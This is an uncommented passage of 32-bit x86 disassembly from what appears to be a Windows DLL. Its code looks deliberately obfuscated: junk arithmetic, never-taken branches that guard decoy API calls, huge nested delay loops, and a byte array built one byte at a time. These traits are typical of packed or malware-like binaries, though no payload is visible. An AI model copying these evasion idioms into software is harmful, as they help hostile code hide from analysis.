and dword [ebp - 0x1968], 0
jmp 0x10030e01
mov dword [ebp - 0x1968], 1
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x1e28], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x200c], eax
mov eax, dword [ebp - 0x1970]
mov dword [ebp - 0x1e30], eax
cmp dword [ebp - 0x2ac], 1
jne 0x10030e3a
mov dword [ebp - 0x9d4], 1
jmp 0x10030e41
and dword [ebp - 0x9d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8d4]
cmp eax, dword [ebp - 0x9d4]
jg 0x10030e62
mov dword [ebp - 0x80c], 1
jmp 0x10030e69
and dword [ebp - 0x80c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x80c]
mov dword [ebp + eax - 0x2100], ecx
cmp dword [ebp - 0x80c], 0xb24
jle 0x10030e94
mov dword [ebp - 0xf04], 1
jmp 0x10030e9b
and dword [ebp - 0xf04], 0
cmp dword [ebp - 0xf04], 0xb756fd8c
ja 0x10030eb9
cmp dword [ebp - 0xe4], 0
jne 0x10030eb9
and dword [ebp - 0x9dc], 0
jmp 0x10030ec3
mov dword [ebp - 0x9dc], 1
cmp dword [ebp - 0x9dc], 0xffffffff
je 0x10030ed3
cmp dword [ebp - 0x2ac], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2100], 0
je 0x10030eef
mov dword [ebp - 0x119c], 1
jmp 0x10030ef6
and dword [ebp - 0x119c], 0
mov eax, dword [ebp - 0x119c]
mov dword [ebp - 0x1978], eax
jmp 0x10030d8b
cmp dword [ebp - 0x9e4], 0x7698
jge 0x10030f1f
push dword [ebp - 0x1980]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1988], 0xdbf
lea eax, [ebp - 0x1988]
push eax
call fcn.1002b11e
pop ecx
mov dword [ebp - 0xbdc], eax
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x12ec], 1
mov dword [ebp - 0x6dc], 0
jmp 0x10030f66
mov eax, dword [ebp - 0x6dc]
inc eax
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 3
jge 0x10030f82
mov eax, dword [ebp - 0x6dc]
mov dword [ebp + eax*4 - 0x19e8], 1
jmp 0x10030f59
cmp dword [ebp - 0x4c], 8
jle 0x10030f94
mov dword [ebp - 0xf0c], 1
jmp 0x10030f9b
and dword [ebp - 0xf0c], 0
cmp dword [ebp - 0xf0c], 0
je 0x10030fb7
push 6
pop eax
test eax, eax
je 0x10030fb7
mov dword [ebp - 0x9ec], 1
jmp 0x10030fbe
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x9ec]
cmp dword [ebp - 0x4c], eax
jl 0x10030fd8
mov dword [ebp - 0x1324], 1
jmp 0x10030fdf
and dword [ebp - 0x1324], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x1324]
cmp eax, 1
jl 0x10030fff
mov eax, 0xc2132456
test eax, eax
jne 0x10030fff
and dword [ebp - 0x9f4], 0
jmp 0x10031009
mov dword [ebp - 0x9f4], 1
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x9f4], eax
jg 0x10031071
cmp dword [ebp - 0x4c], 0
je 0x10031071
mov byte [ebp - 0x1e2], 0
movzx eax, byte [ebp - 0x1e2]
test eax, eax
je 0x10031032
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x4c], 0
jmp 0x10031042
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xb
jg 0x1003106c
mov byte [ebp - 0x1f1], 0
movzx eax, byte [ebp - 0x1f1]
test eax, eax
je 0x1003106a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollRange]
jmp 0x1003103b
jmp 0x10031339
mov dword [ebp - 0x5dc], 0xfffffffa
mov dword [ebp - 0x2014], 0xcf59f89f
mov dword [ebp - 0x814], 0x43657218
mov dword [ebp - 0x19b0], 0
mov dword [ebp - 0x1e38], 0xd28e487
mov dword [ebp - 0x19a8], 0xfffffff6
mov dword [ebp - 0x1990], 0x5752783d
mov dword [ebp - 0x19a0], 1
push 3
lea ecx, [ebp - 0x1c90]
call fcn.1001d86d
mov dword [ebp - 4], 3
mov dword [ebp - 0x894], 4
mov dword [ebp - 0x3d4], 0
jmp 0x100310f8
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 3
jge 0x1003111a
push dword [ebp - 0x3d4]
lea ecx, [ebp - 0x1c90]
call fcn.1001d90b
mov dword [eax], 0xac8e4c12
jmp 0x100310eb
mov dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0
jne 0x10031275
cmp dword [ebp - 0x5dc], 0
jne 0x10031234
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x19e8]
cmp dword [ebp - 0x814], eax
jle 0x10031159
mov dword [ebp - 0xf14], 1
jmp 0x10031160
and dword [ebp - 0xf14], 0
mov eax, dword [ebp - 0x1990]
cmp dword [ebp - 0xf14], eax
jg 0x1003117a
mov dword [ebp - 0x9fc], 1
jmp 0x10031181
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x894]
cmp eax, dword [ebp - 0x9fc]
jg 0x100311a8
mov dword [ebp - 0x1998], 1
jmp 0x100311af
and dword [ebp - 0x1998], 0
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x1ff8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x19e8]
cmp dword [ebp - 0x814], eax
jg 0x100311dc
mov dword [ebp - 0x11a4], 1
jmp 0x100311e3
and dword [ebp - 0x11a4], 0
mov eax, dword [ebp - 0x19a0]
cmp dword [ebp - 0x11a4], eax
je 0x100311fd
mov dword [ebp - 0xa04], 1
jmp 0x10031204
and dword [ebp - 0xa04], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x19e8]
cmp dword [ebp - 0xa04], eax
jne 0x10031222
cmp dword [ebp - 0x12ec], 0
jne 0x10031234
mov eax, 0xc8bb
test eax, eax
jne 0x10031234
and dword [ebp - 0xf1c], 0
jmp 0x1003123e
mov dword [ebp - 0xf1c], 1
mov dword [ebp - 0x4c], 1
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0xf1c]
jne 0x1003125c
mov dword [ebp - 0xa0c], 1
jmp 0x10031263
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xa0c]
sub eax, dword [ebp - 0x19a8]
add eax, dword [ebp - 0x12ec]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x19e8]
mov dword [ebp - 0x1e40], eax
push 1
lea ecx, [ebp - 0x1c90]
call fcn.1001d90b
cmp dword [eax], 0
jne 0x100312ab
cmp dword [ebp - 0x5dc], 0
jne 0x100312ab
and dword [ebp - 0xa14], 0
jmp 0x100312b5
mov dword [ebp - 0xa14], 1
mov eax, dword [ebp - 0x19b0]
cmp dword [ebp - 0xa14], eax
jge 0x100312cf
mov dword [ebp - 0xf24], 1
jmp 0x100312d6
and dword [ebp - 0xf24], 0
mov eax, dword [ebp - 0x5dc]
cmp dword [ebp - 0xf24], eax
je 0x100312f0
mov dword [ebp - 0xa1c], 1
jmp 0x100312f7
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x814]
cmp dword [ebp - 0xa1c], eax
jge 0x10031311
mov dword [ebp - 0x11ac], 1
jmp 0x10031318
and dword [ebp - 0x11ac], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x11ac]
mov dword [ebp + eax - 0x19e8], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c90]
call fcn.1001d8ef
mov byte [ebp - 0x1f3], 0
movzx eax, byte [ebp - 0x1f3]
test eax, eax
je 0x10031357
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov byte [ebp - 0x338], 0xa
mov byte [ebp - 0x337], 0x23
mov byte [ebp - 0x336], 7
mov byte [ebp - 0x335], 0x2c
mov byte [ebp - 0x334], 5
mov byte [ebp - 0x333], 0x1b
mov byte [ebp - 0x332], 0
mov byte [ebp - 0x331], 0x35
mov byte [ebp - 0x330], 9
mov byte [ebp - 0x32f], 0x29
mov byte [ebp - 0x32e], 6
mov byte [ebp - 0x32d], 0x1d
mov byte [ebp - 0x32c], 1
mov byte [ebp - 0x32b], 0x16
mov byte [ebp - 0x32a], 8
mov byte [ebp - 0x329], 0xa
mov byte [ebp - 0x328], 3
mov byte [ebp - 0x327], 0x39
mov byte [ebp - 0x326], 0xc
mov byte [ebp - 0x325], 1
mov byte [ebp - 0x324], 0xb
mov byte [ebp - 0x323], 0x2f
mov byte [ebp - 0x322], 1
mov byte [ebp - 0x321], 0xad
mov byte [ebp - 0x320], 2
mov byte [ebp - 0x31f], 0xc
mov byte [ebp - 0x31e], 4
mov byte [ebp - 0x31d], 0x11
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0xa0], 0xec01e6e2
mov dword [ebp - 0x158], 5
mov byte [ebp - 0x1f5], 0
movzx eax, byte [ebp - 0x1f5]
test eax, eax
je 0x10031459
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [ebp - 0x5e4], 0
je 0x1003192c
mov dword [ebp - 0x170], 0xfffffffa
mov dword [ebp - 0xf34], 1
cmp dword [ebp - 0x170], 0
je 0x10031520
cmp dword [ebp - 0x170], 0
je 0x100314e4
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0x5e4], eax
je 0x100314aa
mov dword [ebp - 0xa24], 1
jmp 0x100314b1
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa24]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
je 0x100314e4
cmp dword [ebp - 0x170], 0
je 0x100314e4
cmp dword [ebp - 0x170], 0
je 0x100314e4
mov dword [ebp - 0xf2c], 1
jmp 0x100314eb
and dword [ebp - 0xf2c], 0
mov eax, dword [ebp - 0x170]
imul eax, dword [ebp - 0xf2c]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x10031510
cmp dword [ebp - 0x170], 0
jne 0x10031514
xor eax, eax
je 0x10031520
mov dword [ebp - 0xa2c], 1
jmp 0x10031527
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp - 0xa2c], eax
jge 0x10031679
mov dword [ebp - 0x132c], 0x7817
mov dword [ebp - 0x19b8], 0x1000a3a8
cmp dword [ebp - 0x132c], 0x78e4
jle 0x100315d0
and dword [ebp - 0x3dc], 0
jmp 0x1003156f
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x50db
jge 0x100315d0
and dword [ebp - 0x7dc], 0
jmp 0x10031591
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0x211a
jge 0x100315ce
mov eax, dword [ebp - 0x3dc]
or eax, dword [ebp - 0x7dc]
cdq
mov dword [ebp - 0x1678], eax
mov dword [ebp - 0x1674], edx
push dword [ebp - 0x1674]
push dword [ebp - 0x1678]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10031584
jmp 0x10031562
mov dword [ebp - 0x19c0], 0xffffffff
cmp dword [ebp - 0x132c], 0x7592
jge 0x100315f6
mov edx, dword [ebp - 0x19b8]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x3e4], 0
jmp 0x1003160f
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 1
jge 0x1003162b
mov eax, dword [ebp - 0x3e4]
mov dword [ebp + eax*4 - 0xa34], 0xffffffff
jmp 0x10031602
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa34]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa34], eax
mov dword [ebp - 0xa0], 0xa
jmp 0x1003165f
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xfffffff8
jne 0x10031674
mov dword [ebp - 0x19c0], 0
jmp 0x10031652
jmp 0x100317ca
mov dword [ebp - 0x19c8], 1
mov dword [ebp - 0x12f4], 0xaa296768
mov dword [ebp - 0x19c8], 0
mov dword [ebp - 0xf34], 0xfffffffe
mov eax, dword [ebp - 0xf34]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], eax
jg 0x100316cd
mov dword [ebp - 0xa3c], 1
jmp 0x100316d4
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0xa3c], 0x17cd9532
je 0x100316ec
mov dword [ebp - 0x11b4], 1
jmp 0x100316f3
and dword [ebp - 0x11b4], 0
mov eax, dword [ebp - 0x11b4]
neg eax
cmp eax, dword [ebp - 0x12f4]
je 0x1003170f
mov dword [ebp - 0xa44], 1
jmp 0x10031716
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp - 0xa44], eax
je 0x10031730
mov dword [ebp - 0xf3c], 1
jmp 0x10031737
and dword [ebp - 0xf3c], 0
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0xf3c], eax
jle 0x10031751
mov dword [ebp - 0x19d0], 1
jmp 0x10031758
and dword [ebp - 0x19d0], 0
mov dword [ebp - 0xa0], 1
cmp dword [ebp - 0xa0], 0xfffffffe
jl 0x10031777
mov dword [ebp - 0xa4c], 1
jmp 0x1003177e
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x12f4], eax
mov dword [ebp - 0x158], 6
jmp 0x100317a3
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xfffffff1
jne 0x100317ca
mov byte [ebp - 0x1f7], 0
movzx eax, byte [ebp - 0x1f7]
test eax, eax
je 0x100317c8
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
jmp 0x10031796
mov dword [ebp - 0xa54], 0x1c35
mov dword [ebp - 0x1aec], 0x1000a3d4
cmp dword [ebp - 0xa54], 0x1ce4
jle 0x100318f6
and dword [ebp - 0x3ec], 0
jmp 0x10031804
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x1244
jge 0x100318f6
and dword [ebp - 0x6e4], 0
jmp 0x1003182a
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0x4af
jge 0x100318f1
and dword [ebp - 0x3f4], 0
jmp 0x10031850
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x30fd
jge 0x100318ec
and dword [ebp - 0x5ec], 0
jmp 0x10031876
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 0x1ad3
jge 0x100318e7
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x6e4]
shl eax, cl
and eax, dword [ebp - 0x3f4]
xor eax, dword [ebp - 0x5ec]
cdq
mov dword [ebp - 0x1684], eax
mov dword [ebp - 0x1680], edx
push dword [ebp - 0x1680]
push dword [ebp - 0x1684]
lea ecx, [ebp - 0x24d8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x19d8], eax
mov ecx, dword [ebp - 0x19d8]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x24d8]
call fcn.1001d534
jmp 0x10031869
jmp 0x10031843
jmp 0x1003181d
jmp 0x100317f7
mov byte [ebp - 0x1f9], 0
cmp dword [ebp - 0xa54], 0x1a2e
jge 0x10031915
push dword [ebp - 0x1aec]
call fcn.10067b63
pop ecx
movzx eax, byte [ebp - 0x1f9]
test eax, eax
je 0x1003192a
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
jmp 0x10031962
mov byte [ebp - 0x1fb], 0
movzx eax, byte [ebp - 0x1fb]
test eax, eax
je 0x10031946
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov byte [ebp - 0x1fd], 0
movzx eax, byte [ebp - 0x1fd]
test eax, eax
je 0x10031962
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectObject]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x338]
or eax, 0x66
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x338]
and ecx, 0x66
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x338]
mov byte [ebp + ecx - 0x1ae4], al
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x764], 0xb979cd32
mov dword [ebp - 0x404], 0x40552487
push 3
lea ecx, [ebp - 0x1d08]
call fcn.1001d86d
mov dword [ebp - 4], 4
mov dword [ebp - 0xa84], 0xfffffff7
mov dword [ebp - 0x1af4], 0xffffffff
mov dword [ebp - 0x3fc], 0
jmp 0x100319f7
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 3
jge 0x10031a19
push dword [ebp - 0x3fc]
lea ecx, [ebp - 0x1d08]
call fcn.1001d90b
mov dword [eax], 0x89d38951
jmp 0x100319ea
cmp dword [ebp - 0x18], 0xda2ae7b7
je 0x10031a2e
mov dword [ebp - 0xf44], 1
jmp 0x10031a35
and dword [ebp - 0xf44], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
cmp dword [ebp - 0xf44], eax
jge 0x10031a55
cmp dword [ebp - 0x18], 0
je 0x10031a55
mov dword [ebp - 0xa5c], 1
jmp 0x10031a5c
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0xa5c]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2080], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1e48], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jle 0x10031a98
mov dword [ebp - 0x11bc], 1
jmp 0x10031a9f
and dword [ebp - 0x11bc], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x11bc]
imul eax, eax, 0x3485
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x404], eax
je 0x10031acb
mov dword [ebp - 0xa64], 1
jmp 0x10031ad2
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0xf4c], eax
push 0
lea ecx, [ebp - 0x1d08]
call fcn.1001d90b
mov ecx, dword [ebp - 0xf4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xa64]
cmp dword [ebp - 0xf4c], eax
je 0x10031b1f
mov dword [ebp - 0xa6c], 1
jmp 0x10031b26
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xa6c], eax
je 0x10031b3d
mov dword [ebp - 0x1334], 1
jmp 0x10031b44
and dword [ebp - 0x1334], 0
cmp dword [ebp - 0x1334], 0xfffa
je 0x10031b5c
mov dword [ebp - 0xa74], 1
jmp 0x10031b63
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 1
jbe 0x10031b7a
or eax, 0xffffffff
jne 0x10031b7a
and dword [ebp - 0xf54], 0
jmp 0x10031b84
mov dword [ebp - 0xf54], 1
mov eax, dword [ebp - 0x404]
cmp dword [ebp - 0xf54], eax
jg 0x10031b9e
mov dword [ebp - 0xa7c], 1
jmp 0x10031ba5
and dword [ebp - 0xa7c], 0
cmp dword [ebp - 0xa7c], 1
jg 0x10031bba
mov dword [ebp - 0x11c4], 1
jmp 0x10031bc1
and dword [ebp - 0x11c4], 0
mov eax, dword [ebp - 0x11c4]
sub eax, 0x3674
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xa84], eax
mov eax, dword [ebp - 0x404]
cmp dword [ebp - 0xa84], eax
jge 0x10031bef
mov dword [ebp - 0xf5c], 1
jmp 0x10031bf6
and dword [ebp - 0xf5c], 0
mov eax, dword [ebp - 0xf5c]
mov dword [ebp - 0x1af4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d08]
call fcn.1001d8ef
mov dword [ebp - 0x54], 2
and dword [ebp - 0x7c4], 0
jmp 0x10031c29
mov eax, dword [ebp - 0x54]
inc eax
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x1c
jae 0x10032cc2
mov dword [ebp - 0x280], 0xbef7
push 1
lea ecx, [ebp - 0x1b18]
call fcn.1001d86d
mov dword [ebp - 4], 5
mov dword [ebp - 0x1b04], 0x890c5440
mov dword [ebp - 0x5f4], 0
jmp 0x10031c74
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 1
jge 0x10031c96
push dword [ebp - 0x5f4]
lea ecx, [ebp - 0x1b18]
call fcn.1001d90b
mov dword [eax], 0x2a831d26
jmp 0x10031c67
push 0
lea ecx, [ebp - 0x1b18]
call fcn.1001d90b
mov dword [eax], 0x1d21
cmp dword [ebp - 0x280], 0x1d21
jne 0x10031cc1
mov dword [ebp - 0x1afc], 1
jmp 0x10031cc8
and dword [ebp - 0x1afc], 0
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x2000], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x1e50], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x2090], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x1e58], eax
push 0
lea ecx, [ebp - 0x1b18]
call fcn.1001d90b
mov ecx, dword [ebp - 0x280]
cmp dword [eax], ecx
jle 0x10031d1b
mov dword [ebp - 0xa8c], 1
jmp 0x10031d22
and dword [ebp - 0xa8c], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x1b04], eax
mov byte [ebp - 0x1ff], 0
movzx eax, byte [ebp - 0x1ff]
test eax, eax
je 0x10031d49
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b18]
call fcn.1001d8ef
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x338]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x54], eax
jne 0x100326a6
push 2
lea ecx, [ebp - 0x14d4]
call fcn.1001d86d
mov dword [ebp - 4], 6
mov dword [ebp - 0x250], 0xffffffff
mov dword [ebp - 0x40c], 0
jmp 0x10031daa
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 2
jge 0x10031dcc
push dword [ebp - 0x40c]
lea ecx, [ebp - 0x14d4]
call fcn.1001d90b
mov dword [eax], 0x98a8
jmp 0x10031d9d
mov dword [ebp - 0xadc], 0x5764
mov dword [ebp - 0x1898], 0x1000a410
cmp dword [ebp - 0xadc], 0x5854
jle 0x10031ea2
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
and dword [ebp - 0x6ec], 0
jmp 0x10031e0e
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0x1fc9
jge 0x10031ea2
and dword [ebp - 0x414], 0
jmp 0x10031e34
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0x7f49
jge 0x10031e9d
and dword [ebp - 0x5fc], 0
jmp 0x10031e56
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0x2eb2
jge 0x10031e9b
mov eax, dword [ebp - 0x6ec]
sub eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x5fc]
shl eax, cl
cdq
mov dword [ebp - 0x1690], eax
mov dword [ebp - 0x168c], edx
push dword [ebp - 0x168c]
push dword [ebp - 0x1690]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10031e49
jmp 0x10031e27
jmp 0x10031e01
push 0
lea ecx, [ebp - 0x14d4]
call fcn.1001d90b
cmp dword [eax], 0
je 0x10032005
mov dword [ebp - 0x41c], 0
jmp 0x10031ed1
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 1
jge 0x10031eed
mov eax, dword [ebp - 0x41c]
mov dword [ebp + eax*4 - 0x90], 0xffffffff
jmp 0x10031ec4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x90], 0
jmp 0x10031f1b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x90], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x90], 2
jge 0x10031f4b
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x90]
lea ecx, [ebp - 0x14d4]
call fcn.1001d90b
mov dword [eax], 0xf1bf
jmp 0x10031f00
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x2008], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x90], 1
jle 0x10031f73
mov dword [ebp - 0xa94], 1
jmp 0x10031f7a
and dword [ebp - 0xa94], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
imul ecx, dword [ebp + ecx - 0x90], 0xfffe
cmp dword [ebp + eax - 0x90], ecx
je 0x10031fa6
mov dword [ebp - 0x12fc], 1
jmp 0x10031fad
and dword [ebp - 0x12fc], 0
push 1
lea ecx, [ebp - 0x14d4]
call fcn.1001d90b
mov ecx, dword [ebp - 0x12fc]
imul ecx, dword [eax]
mov eax, dword [ebp - 0xa94]
sub eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x90]
je 0x10031fe6
mov dword [ebp - 0xf64], 1
jmp 0x10031fed
and dword [ebp - 0xf64], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf64]
mov dword [ebp + eax - 0x90], ecx
jmp 0x1003241c
mov dword [ebp - 0x17c], 9
mov dword [ebp - 0x904], 0xd6158f8
mov dword [ebp - 0x2c0], 0x7695
mov dword [ebp - 0x250], 0
jmp 0x1003203c
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0xc
jge 0x100323ec
mov dword [ebp - 0x434], 0x17a9413e
mov dword [ebp - 0x1a34], 0xfffffffa
mov dword [ebp - 0xa9c], 0x1fe5
mov dword [ebp - 0x1b0c], 0x1000a448
cmp dword [ebp - 0xa9c], 0x22cf
jle 0x1003216c
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
and dword [ebp - 0x604], 0
jmp 0x1003209f
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 0x6de2
jge 0x1003216c
and dword [ebp - 0x7a4], 0
jmp 0x100320c5
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0x14ff
jge 0x10032167
and dword [ebp - 0x424], 0
jmp 0x100320eb
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0x3978
jge 0x10032162
and dword [ebp - 0x42c], 0
jmp 0x1003210d
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x2c4f
jge 0x1003215d
mov eax, dword [ebp - 0x7a4]
imul eax, dword [ebp - 0x424]
mov edx, dword [ebp - 0x604]
sub edx, eax
mov ecx, dword [ebp - 0x42c]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x169c], eax
mov dword [ebp - 0x1698], edx
push dword [ebp - 0x1698]
push dword [ebp - 0x169c]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10032100
jmp 0x100320de
jmp 0x100320b8
jmp 0x10032092
mov dword [ebp - 0xab4], 0xfffffffd
cmp dword [ebp - 0xa9c], 0x1dd0
jge 0x10032192
mov edx, dword [ebp - 0x1b0c]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x6f4], 0
jmp 0x100321ab
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 1
jge 0x100321c7
mov eax, dword [ebp - 0x6f4]
mov dword [ebp + eax*4 - 0xacc], 0xffffffff
jmp 0x1003219e
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x17c], eax
jl 0x100321e1
mov dword [ebp - 0x11cc], 1
jmp 0x100321e8
and dword [ebp - 0x11cc], 0
mov eax, dword [ebp - 0x1a34]
cmp dword [ebp - 0x11cc], eax
jne 0x10032202
